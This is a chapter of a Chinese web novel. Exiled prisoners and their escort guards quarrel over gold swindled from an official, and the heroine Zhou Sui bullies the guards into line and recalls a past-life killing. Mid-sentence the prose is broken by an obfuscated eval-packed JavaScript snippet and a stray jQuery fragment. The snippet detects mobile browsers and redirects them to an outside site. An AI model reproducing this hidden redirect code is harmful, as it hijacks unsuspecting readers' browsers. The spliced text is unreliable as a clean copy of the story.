张才一众仓皇逃走，周绥四下打量，道：“前面清凉僻静，我们去那里歇着等。”
太阳炙烤，连草木都蔫头耷脑。马接连奔跑，累得趴在地上，呼哧喘气。
大家心思各异，一时都沉默着没做声。游大智最宝贝马，他手搭额头挡着明晃晃的太阳，舔了舔干燥的嘴唇，上前抚摸着马脖子，道：“瞧这天，真真能晒死人。歇一阵也好，省得累死马。”
一行人往前走了半盏茶功夫，转过小山，来到一处山坳。山坳清净，背山面水，便在此卸马歇脚。
游大智紧张着他的马，牵去河滩边喂水刷洗。吴铜乾去树林捡了干柴，装了一瓦罐山泉，垒了石灶，生火煮水。
有了破庙经验，柴禾干，吴铜乾撅屁股吹了一阵，火苗终于升腾，卷着瓦罐底，随风吹着左右摇摆。
周昭临脸色苍白靠树坐着。江琼娘苦胆都快吐出来，脸色也不大好，萎靡不振靠着马车闭目养神。郇度手上拿着树枝，一下没一下在地上划着。程尚默默坐在青石上，望着河对岸绵延不绝的群山。
周绥在上游洗过手脸转身回来，只见吴铜乾正鬼鬼祟祟从褡裢掏出一个袋子，拈了一撮茶叶，偷偷放进陶碗中。她只当没看到，走到阴凉处坐下。
吴铜乾飞快把袋子塞进褡裢，佯装无事发生，等着瓦罐的水沸。他视线在周绥与程尚身上来回打转，突然出声道：“周姑娘，你从高维雍处索要的五十两金，此次当由我来保管才是。”
周绥还没做声，郇度嗤地笑了起来。程尚面无表情扫了他一眼，垂眸不语。
周昭临这时紧紧盯着周绥，沙哑着嗓子道：“岁岁，二百两银，足够前去西北的盘缠。高维雍是朝廷命官，你可想过后果？”
吴铜乾心里本觉着不对劲，被五十两金冲昏的脑子，终于恢复了些清明。他脸色一变，不安地道：“周先生说得是，周姑娘，高维雍不傻，这一来一去，我们的身份就瞒不住了！我们是解差，你们是犯人，解差与犯人一道合谋行骗官员……”
他越发惊慌，朝还在喂马草料的游大智喊道：“出大事了，你快些过来！”
游大智不知何事，见吴铜乾神色不对劲，系好马走了过来，问道：“何事？”
吴铜乾努力吞下唾沫，急着把心中所想说了，“高维雍参奏一本上去，我们都得没命！”
游大智最爱色，其次是钱财。他算着两匹马卖掉之后，加上骗来的银子，走到西北能剩下不少。回去分一分，手头宽裕起来，去京城最好的花楼左拥右抱，也不在话下。
“你这是要害了我们！”
游大智跟着跳脚，惊怒之下，就要去牵马：“还不快逃，留在这里等死不成！”
程尚无动于衷坐在那里。郇度折断树枝，嘴角露出嘲讽的笑。他看向周绥，说道：“高维雍迟早会知道，不如将他治得服服帖帖，让他不敢吭声。”
游大智停下脚步，五官皱成一团，认真思索起来。他脑子不大聪明，思索得非常辛苦，紧皱起来的脸，像是干涸的果皮。
吴铜乾比他机灵些，小眼眨着，疑惑地打量着周绥他们。在他心中自有一杆秤，认为周绥最聪明，程尚最凶恶，郇度最阴恻恻，心计深沉。周昭临身上有股端方正气，最令他不适。江琼娘柔弱，吴铜乾看在周绥的份上，当做办差，捎带上她到西北而已，从未考虑到她。
周绥三人都镇定自若，吴铜乾松了口气，不过仍将信将疑道：“高维雍是官，他会乖乖听令行事？”
“不知道。”周绥静静答道。
吴铜乾又大惊。周绥蹙眉，反问道：“你有什么办法？逃走，还是选择赌一把？”
躲得过初一，躲不过十五，他的妻儿都还在京城。
吴铜乾欲哭无泪，他已经上了贼船，开弓没有回头箭。
游大智时常去赌场，手气不好，输得精光。他左瞧右看，壮胆盯着程尚，道：“你难道不怕？”
程尚目光沉沉，连眼皮都未抬，一如既往惜字如金：“滚开！”
他不耐烦与蠢货说话。从他们两人答应冒充京城贵人，骗高维雍的银子起，就已经被周绥绑上了贼船。
而他当时并未阻拦，与他们一样，他也脱不了干系。
周绥特意点出秦王明相，她肯定已经做好了打算。
两个蠢货如临大敌，真是让人没眼看！
游大智被噎住，怒不敢怒，只能悻悻收回了目光。
周昭临怔怔望着周绥，感到她无比陌生。他这一生，自问无愧于天地。无奈之下行骗，始终心头难安。
落到流放的境地，周昭临虽愧对妻女，读书人自当为天地立命，他从未后悔过。周绥的举动疯狂，大逆不道。她与官作对，便是与朝廷作对。
待这阵风波过去，他的故交学生们帮忙奔走上书，他们便有机会被赦放，重回京城。
而一旦被抓住，罪无可恕。
周昭临想要劝说，碍着众人的面，只能暂时按捺住了。
周绥静静看着他们的反应，无视周昭临的郁郁寡欢，缓缓站起身，声音沉下去，道：“起初，我问你们赚银子的法子，你们都没有。照着我的法子，你们拿到银子时眉开眼笑。遇到丁点危险，你们马上翻脸不认人了。”
吴铜乾游大智面面相觑，两人都有些心虚。
“周姑娘，你看，这哪是丁点危险，这是要命啊！”
吴铜乾干巴巴赔笑说着。游大智点头如捣蒜，跟着他道：“是啊，这是要命的事。吴管事要银子不要命，我可要命，我还要娶个美貌妻子，生儿延续我的香火呢！”
周绥神情冰冷，声色俱厉道：“你们活到这把岁数，还尽只想着好事。吴铜乾，你身为胥吏，休说这辈子，下辈子也发不了财。游大智，你要娶美貌妻子，更是异想天开。美貌小娘子，宁愿给高维雍做妾，也不会嫁给你为妻！”
两人被周绥当场斥骂，面上无光，不免恼羞成怒。脸由黑变红，由红变紫，眼见就要爆发。
周绥愈发不留情面，把他们贬得一无是处：“你们看不起张才，殊不知，你们连张才都不如！你们不服气，又有何用？张才贪婪，愚蠢，靠着官，他就能锦衣玉食，在青冈县耀武扬威！张才有个好妹妹，你们且动脑子认真思量，你们有何倚仗？”
若有倚仗，他们就不会这般落魄了。
吴铜乾游大智想着那些吃苦受欺负的日子，怒气变成了落寞，耷拉着脑袋蔫了。
周绥下巴微抬，倨傲地道：“你们唯一的倚仗，便是与我走的这趟西北之路！”
两人神色一震。周绥的话听上去狂傲，却并非吹嘘。
从京城到青冈县，他们即便
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018797|193285||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
遇到波折，终是化险为夷。短短数日，他们甚至已有车有马有银子！
瓦罐的水在滋滋作响。吴铜乾反应极快，扯了草垫着罐耳，倒进他偷偷放了茶叶的陶碗中。他脸上堆满笑，双手捧碗奉到周绥面前：“周姑娘，我这个人胆小，姑娘莫怪，以后定会听从姑娘安排，绝无二言！”
游大智嘴角下撇，很是不耻吴铜乾的谄媚巴结。他拼命转动脑子，挤出一句话：“我去那边放马，守着官道，到时候来通风报信。”说罢，取了早上带着的馒头，急急跑走了。
周绥嫌弃吴铜乾的茶水，指着先前净手经过之地，道：“那边有薄荷，去扯一些洗干净放瓦罐中。薄荷清凉，正好解渴提神。”
吴铜乾的茶叶是昨夜高维雍宴请时，他见茶水好，趁人不备偷藏了些。他本不舍得，闻言高兴地收回了陶碗，道：“我这就寻薄荷！”
他们这一群人临时组成，各怀心思。周绥不挑人，只用人。一起行事，最忌讳人心不齐。吴铜乾游大智估计尚未意识到，他们已别无退路。她不耐烦与他们次次周旋，贬低打击利诱，先解决了他们。
她的话，也是说给周昭临听。他曾是大雍命官，忠于朝廷，顽固不化。
周绥并不太放在心上。比起他，前行之路风险难料。他若坚持，她会毫不犹豫丢弃他。
太阳一点点升到正中央，再往西边斜去。
吴铜乾坐立难安，不时望着天，跑到官道上去张望。
周昭临亦一脸凝重。反而江琼娘吐过之后身子虚弱，一直安安静静在车上歇息。
郇度躺在草堆上，睡了醒，醒了睡，看上去很是自在。
程尚如老僧入定，面无表情眺望着对岸的群山，似乎周遭的一切，都与他无关。
周绥用过干粮，去马车上睡了一觉起来，不慌不忙地去河边，掬水净手脸。
西沉的夕阳坠入清澈的河中，波光粼粼的河面，仿若起了火，红彤彤一片。
以前，郇度尚是不受待见的皇子时，皇帝盛夏时去行苑避暑，他们并不在随行名录上，留在了京城。行苑传旨来，受宠的黄贵妃身子抱恙，传她去侍疾。
黄贵妃的宫殿临湖，慵懒地倚在贵妃榻上，容光满面。
湖面吹来的凉风，卷起黄贵妃的绫罗织金裙。对着她的屈膝见礼，银匙舀起玉碗中的燕窝吃着，许久都没叫起。
黄贵妃与郇度生母一样，同是宫女出身。只手段了得，深得宠爱，育有两儿一女。两个皇子都野心勃勃，郇度这个不受宠的皇子，同样被视为眼中钉。
周绥身为王妃，黄贵妃当然轻视，百般刁难。
那次她与宫女一样，肃立在黄贵妃身边，侍奉到了夕阳西下时。
湖面被染红，似血般刺目。
后来，周绥选了夕阳西下时分，将黄贵妃沉了湖。
她其实不恨黄贵妃。屈居人下，受制于人，皆是如此般，卑躬屈膝。
周绥望着河面，缓缓笑了。
她骨子里始终是周绥，与郇度平分秋色，执掌天下的周绥！
虽一无所有，再难，再危险，与前世有何区别？
周绥站起身，拧干半旧罗帕，擦拭脸上的水珠。
官道那边，吴铜乾挥舞着双臂急急跑来，紧张又兴奋地喊道：“来了，姑娘，高维雍来了！”